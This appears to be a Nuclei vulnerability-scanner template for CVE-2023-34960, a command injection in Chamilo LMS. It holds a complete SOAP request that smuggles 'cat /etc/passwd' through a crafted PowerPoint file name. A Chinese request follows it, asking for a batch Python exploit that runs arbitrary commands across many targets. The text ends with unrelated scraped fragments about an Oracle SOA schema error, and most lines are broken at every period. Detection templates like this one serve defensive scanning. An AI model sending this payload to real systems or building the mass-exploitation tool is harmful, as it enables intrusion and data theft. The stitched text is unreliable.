id: CVE-2023-34960
info:
name: Chamilo Command Injection
author: DhiyaneshDK
severity: critical
description: |
A command injection vulnerability in the wsConvertPpt component of Chamilo v1
.11
.* up to v1
.11
.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name
.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system
.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS
.
reference:
- https:
//sploitus
.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D
- https:
//github
.com/Aituglo/CVE-2023-34960/blob/master/poc
.py
- http:
//chamilo
.com
- http:
//packetstormsecurity
.com/files/174314/Chamilo-1
.11
.18-Command-Injection
.html
- https:
//support
.chamilo
.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution
classification:
cvss-metrics: CVSS:3
.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9
.8
cve-id: CVE-2023-34960
cwe-id: CWE-77
epss-score: 0
.93314
epss-percentile: 0
.99067
cpe: cpe:2
.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: chamilo
product: chamilo
shodan-query:
- http
.component:"Chamilo"
- http
.component:"chamilo"
- cpe:"cpe:2
.3:a:chamilo:chamilo"
tags: cve,cve2023,packetstorm,chamilo
http:
- raw:
- |
POST /main/webservices/additional_webservices
.php HTTP/1
.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
<?xml version="1
.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http:
//schemas
.xmlsoap
.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http:
//www
.w3
.org/2001/XMLSchema-instance" xmlns:
xsd="http:
//www
.w3
.org/2001/XMLSchema" xmlns:ns2="http:
//xml
.apache
.org/xml-soap" xmlns:SOAP-ENC="http:
//schemas
.xmlsoap
.org/soap/encoding/" SOAP-ENV:encodingStyle="http:
//schemas
.xmlsoap
.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="
xsd:string">file_data</key><value xsi:type="
xsd:string"></value></item><item><key xsi:type="
xsd:string">file_name</key><value xsi:type="
xsd:string">`{}`
.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="
xsd:string">service_ppt2lp_size</key><value xsi:type="
xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
matchers-condition: and
matchers:
- type: regex
regex:
- "root:
.*:0:0:"
part: body
- type: word
part: header
words:
- text/xml
- type: status
status:
- 200
# digest: 4a0a00473045022034e60ad33e2160ec78cbef2c6c410b14dabd6c3ca8518c21571e310453a24e25022100927e4973b55f38f2cc8ceca640925b7066d4325032b04fb0eca080984080a1d0:922c64590222798bb761d5b6d8e72950根据poc实现python的exp，并且读取当前目录下的文件 批量执行 ，例如，python CVE-2023-34960
.py -f
.8
.txt -c "需要执行的
命令" 并将执行成功的结果输出 -o 9
.txt 添加选项-o 8
.txt的文本文件
本文记录了一次在使用Oracle SOA进行Composite验证时遇到的问题，主要表现为无法构建XML Schema，错误发生在ValidateComposite类的第135行。问题具体指向了一个位于'http://role.dto.party.app.fc.ofss.com.__OAUX_GENXSD_.TOP.XSD'的XSD文件。
扫一扫
1873
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
